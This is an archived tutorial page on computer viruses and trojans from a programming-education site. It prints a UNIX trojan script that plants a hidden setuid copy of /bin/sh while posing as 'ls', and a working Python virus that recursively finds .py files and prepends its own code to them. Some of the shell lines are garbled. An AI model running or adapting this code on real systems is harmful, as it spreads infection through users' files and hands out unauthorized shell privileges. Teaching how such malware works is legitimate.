The Wayback Machine - https://web.archive.org/web/20241001000333/https://www.geeksforgeeks.org/viruses-from-newbie-to-pro/
Open In App

Viruses – From Newbie to pro

Last Updated : 13 Jun, 2023
Summarize
Comments
Improve
Suggest changes
Like Article
Like
Save
Share
Report
News Follow

NOTE: Using an online compiler is not going to work here. Please install Python 2.7x and cv2, argparse modules to actually try out this example.

Heya friends! Welcome back! Before continuing on with Malicious Logic, I request you to have a look at this great and informative article Worms, Viruses and Beyond!!

Now, this article will focus more on applications than theory of computer viruses, worms, and Trojan horses.

But, please note that this article is meant to be used for educational purposes only.I, in no way, promote the usage of viruses, worms, or trojan horses to attack computer systems and causing damage.

Malicious logic is a set of instructions (basically a program) that causes the violation of a security policy of a website/program/application, etc.

UNIX Script

    cp /bin/sh /tmp/.xxsh
    chmod u+s,o+x /tmp/.xxsh
    rm ./ls
    ls $*

In this example, we are assuming that “.” is in the path environment and the script has been named ls and is placed in the directory.

Analysing the script

This script creates a copy of the UNIX Shell that is setuid of the user executing this program. To understand setuid programs, we first need to understand how User Identity is stored in a UNIX OS.

In UNIX OS, user identity is usually represented as an integer between 0 and generally, 65,535. This number is also referred to as UID (Unique Identification Number). Now, what setuid programs do is that they create processes with UID of the owner and not of a third person executing the program. This means, that an executor will have the rights of the ownerâ€Ķ This in itself is a possible vulnerability.

Coming back to our script, so a setuid copy of the UNIX shell was created. Later on, this program is deleted, and then the correct ls command (for listing the files and folders present in the current working directory) is executed.

Trojan Horses

Go back to the previous scriptâ€Ķ Suppose if someone (root) typed:

    cp /bin/sh /tmp/.xxsh
    chmod o+s,w+x /tmp.xxsh

If the script was typed deliberately, then it will result in a Trojan Horse.

Virus – A basic format

Most of the computer viruses follow the following basic script:

Beginvirus
if spread-condition TRUE then begin
    for the target files begin
       if target affected TRUE then begin
          Determine where to place virus instructions
          Copy the virus instructions
          Modify target to spread the virus later
       End if
    End for
End if
Perform some other instruction(s) //Optional
Go back to beginning
Endvirus

Basically, every computer virus has two phases –

  1. Insertion phase – in this phase, the virus inserts itself into the target.
  2. Execution phase- in this phase, the virus performs some actions.

Let’s take a look at a real virus in Python. Now this is not an actual virus which will cause corruption files, deletion of system files, etc. but just a simple harmless virus.




#!/usr/bin/python 
import os, datetime, inspect 
DATA_TO_INSERT = "GEEKSFORGEEKS"
  
#search for target files in path
def search(path):  
    filestoinfect = [] 
    filelist = os.listdir(path) 
    for filename in filelist: 
          
        #If it is a folder
        if os.path.isdir(path+"/"+filename):  
            filestoinfect.extend(search(path+"/"+filename)) 
              
        #If it is a python script -> Infect it    
        elif filename[-3:] == ".py":
              
            #default value
            infected = False  
            for line in open(path+"/"+filename): 
                if DATA_TO_INSERT in line: 
                    infected = True
                    break
            if infected == False: 
                filestoinfect.append(path+"/"+filename) 
    return filestoinfect 
  
#changes to be made in the target file 
def infect(filestoinfect): 
    target_file = inspect.currentframe().f_code.co_filename 
    virus = open(os.path.abspath(target_file)) 
    virusstring = "" 
    for i,line in enumerate(virus): 
        if i>=0 and i <41: 
            virusstring += line 
    virus.close 
    for fname in filestoinfect: 
        f = open(fname) 
        temp = f.read() 
        f.close() 
        f = open(fname,"w") 
        f.write(virusstring + temp) 
        f.close() 
          
#Not required actually        
def explode(): 
    if datetime.datetime.now().month == 4 and datetime.datetime.now().day == 1: 
            print ("HAPPY APRIL FOOL'S DAY!!")
filestoinfect = search(os.path.abspath("")) 
infect(filestoinfect) 
explode() 


Now, this is quite a safe virus But, the basic format and working is the same.

Also, there are various types of computer virus – Boot sector infectors, executable infectors, multipartite virus, TSR virus, Stealth virus, Encrypted virus, polymorphic virus, macro virus.

Now, I won’t go into the details and will just stop here. That’s all from my side!



Similar Reads

Python Programs
Python Examples: Practice with Python program examples is always a good choice to scale up your logical understanding and programming skills and this article will provide you with the best sets of Python code examples. The below Python section contains a wide collection of Python programming examples. These Python code examples cover a wide range o
14 min read
Getting Started with Python Programming
Python is a high-level, interpreted, and general-purpose programming language. It was created by Guido van Rossum and first released in 1991. Python emphasizes code readability and simplicity, making it an excellent language for beginners and experienced developers. Getting Started with Python is easy due to its straightforward syntax and extensive
9 min read
Python Tutorial | Learn Python Programming Language
Python Tutorial - Python is one of the most popular programming languages today, known for its simplicity and ease of use. Whether you're just starting with coding or looking to pick up another language, Python is an excellent choice. Its clean and straightforward syntax makes it beginner-friendly, while its powerful libraries and frameworks are pe
13 min read
Python Linked List
In this article, we will learn about the implementation of a linked list in Python. To implement the linked list in Python, we will use classes in Python. Now, we know that a linked list consists of nodes and nodes have two elements i.e. data and a reference to another node. Let's implement the node first. What is Linked List in PythonA linked list
13 min read
30 OOPs Interview Questions and Answers (2024) Updated
Object-oriented programming, or OOPs, is a programming paradigm that implements the concept of objects in the program. It aims to provide an easier solution to real-world problems by implementing real-world entities such as inheritance, abstraction, polymorphism, etc. in programming. OOPs concept is widely used in many popular languages like Java,
15+ min read
Python Exercise with Practice Questions and Solutions
Python Exercise for Beginner: Practice makes perfect in everything, and this is especially true when learning Python. If you're a beginner, regularly practicing Python exercises will build your confidence and sharpen your skills. To help you improve, try these Python exercises with solutions to test your knowledge. You might have seen various Pytho
9 min read
Python Projects - Beginner to Advanced
In this guide, we'll explore a range of Python projects suitable for beginners to advanced programmers. These Python projects are designed to help you gain practical experience with Python programming while building real-world applications. Whether you're just starting out or looking to deepen your understanding of Python, there's something here fo
10 min read
Top 50+ Python Interview Questions and Answers (Latest 2024)
Python is the most used language in top companies such as Intel, IBM, NASA, Pixar, Netflix, Facebook, JP Morgan Chase, Spotify, and many more because of its performance and its powerful libraries. To get into these companies and organizations as a Python developer, you need to master some important Python Interview Questions to crack their Python O
15+ min read
Defaultdict in Python
Python Defaultdict is a container-like dictionaries present in the module collections. It is a sub-class of the dictionary class that returns a dictionary-like object. The functionality of both dictionaries and defaultdict is almost the same except for the fact that defaultdict never raises a KeyError. It provides a default value for the key that d
5 min read
How to Install PIP on Windows ?
PIP is a powerful package management system used to install and manage software packages and libraries written in Python. PIP stands for "Preferred Installer Program" or "Pip Installs Packages." To use PIP, you must install Python on your Windows machine. This article provides a step-by-step guide on how to install and configure PIP on Windows, alo
5 min read
Python Data Types
Python Data types are the classification or categorization of data items. It represents the kind of value that tells what operations can be performed on a particular data. Since everything is an object in Python programming, Python data types are classes and variables are instances (objects) of these classes. The following are the standard or built
15+ min read
Python Classes and Objects
A class is a user-defined blueprint or prototype from which objects are created. Classes provide a means of bundling data and functionality together. Creating a new class creates a new type of object, allowing new instances of that type to be made. Each class instance can have attributes attached to it to maintain its state. Class instances can als
11 min read
Stack in Python
A stack is a linear data structure that stores items in a Last-In/First-Out (LIFO) or First-In/Last-Out (FILO) manner. In stack, a new element is added at one end and an element is removed from that end only. The insert and delete operations are often called push and pop. The functions associated with stack are: empty() – Returns whether the stack
8 min read
Taking input in Python
Developers often have a need to interact with users, either to get data or to provide some sort of result. Most programs today use a dialog box as a way of asking the user to provide some type of input. While Python provides us with two inbuilt functions to read the input from the keyboard. input ( prompt ) raw_input ( prompt ) input (): This funct
5 min read
Check if element exists in list in Python
The list is an important container in Python as it stores elements of all the data types as a collection. Knowledge of certain list operations is necessary for day-day programming. This article discusses the Fastest way to check if a value exists in a list or not using Python. Example Input: test_list = [1, 6, 3, 5, 3, 4] 3 # Check if 3 exist or no
10 min read
Python Program to Check Prime Number
Given a positive integer N, the task is to write a Python program to check if the number is Prime or not in Python. Example: Check Prime Number [GFGTABS] Python num = 11 # Negative numbers, 0 and 1 are not primes if num > 1: # Iterate from 2 to n // 2 for i in range(2, (num//2)+1): # If num is divisible by any number between # 2 and n / 2, it is
8 min read
Decorators in Python
Decorators are a very powerful and useful tool in Python since it allows programmers to modify the behaviour of a function or class. Decorators allow us to wrap another function in order to extend the behaviour of the wrapped function, without permanently modifying it. But before diving deep into decorators let us understand some concepts that will
7 min read
Python Functions
Python Functions is a block of statements that return the specific task. The idea is to put some commonly or repeatedly done tasks together and make a function so that instead of writing the same code again and again for different inputs, we can do the function calls to reuse code contained in it over and over again. Some Benefits of Using Function
10 min read
f-strings in Python
Python offers a powerful feature called f-strings (formatted string literals) to simplify string formatting and interpolation. f-strings is introduced in Python 3.6 it provides a concise and intuitive way to embed expressions and variables directly into strings. The idea behind f-strings is to make string interpolation simpler. How to use f-strings
5 min read
Python Lists
Python Lists are just like dynamically sized arrays, declared in other languages (vector in C++ and ArrayList in Java). In simple language, a list is a collection of things, enclosed in [ ] and separated by commas. The list is a sequence data type which is used to store the collection of data. Tuples and String are other types of sequence data type
15+ min read
Dictionaries in Python
A Python dictionary is a data structure that stores the value in key: value pairs. Example: Here, The data is stored in key: value pairs in dictionaries, which makes it easier to find values. [GFGTABS] Python Dict = {1: 'Geeks', 2: 'For', 3: 'Geeks'} print(Dict) [/GFGTABS]Output{1: 'Geeks', 2: 'For', 3: 'Geeks'} Python dicti
10 min read
Python map() function
map() function returns a map object(which is an iterator) of the results after applying the given function to each item of a given iterable (list, tuple etc.) Python map() Function Syntax Syntax : map(fun, iter) Parameters: fun: It is a function to which map passes each element of given iterable. iter: It is iterable which is to be mapped. NOTE: Yo
5 min read
Python Operators
In Python programming, Operators in general are used to perform operations on values and variables. These are standard symbols used for logical and arithmetic operations. In this article, we will look into different types of Python operators.  OPERATORS: These are the special symbols. Eg- + , * , /, etc.OPERAND: It is the value on which the operato
12 min read
Enumerate() in Python
Often, when dealing with iterators, we also need to keep a count of iterations. Python eases the programmers' task by providing a built-in function enumerate() for this task. The enumerate () function adds a counter to an iterable and returns it in the form of an enumerating object. This enumerated object can then be used directly for loops or conv
5 min read
Python Program to Check if a String is Palindrome or Not
Given a string, write a python function to check if it is palindrome or not. A string is said to be a palindrome if the reverse of the string is the same as the string. For example, “radar” is a palindrome, but “radix” is not a palindrome. Examples: Input : malayalamOutput : YesInput : geeksOutput : NoPython Program to Check if a String is Palindro
5 min read
Python Tkinter
Python offers multiple options for developing GUI (Graphical User Interface). Out of all the GUI methods, tkinter is the most commonly used method. It is a standard Python interface to the Tk GUI toolkit shipped with Python. Python Tkinter is the fastest and easiest way to create GUI applications. Creating a GUI using Tkinter is an easy task. Table
13 min read
Loops in Python - For, While and Nested Loops
Python programming language provides two types of Python loopshecking time. In this article, we will look at Python loops and understand their working with the help of examp - For loop and While loop to handle looping requirements. Loops in Python provides three ways for executing the loops. While all the ways provide similar basic functionality, t
11 min read
Programs for printing pyramid patterns in Python
Exploring and creating pyramid patterns in Python is an excellent way to enhance your programming skills and gain a deeper understanding of loops and control structures. By modifying and experimenting with the provided examples, you can create a variety of captivating patterns using Python. Exploring Pyramid Patterns in PythonPyramid patterns are s
9 min read
Deque in Python
Deque (Doubly Ended Queue) in Python is implemented using the module "collections". Deque is preferred over a list in the cases where we need quicker append and pop operations from both the ends of the container, as deque provides an O(1) time complexity for append and pop operations as compared to a list that provides O(n) time complexity. Types o
9 min read
Python OOPs Concepts
Object Oriented Programming is a fundamental concept in Python, empowering developers to build modular, maintainable, and scalable applications. By understanding the core OOP principles—classes, objects, inheritance, encapsulation, polymorphism, and abstraction—programmers can leverage the full potential of Python's OOP capabilities to design elega
12 min read
Article Tags :
Practice Tags :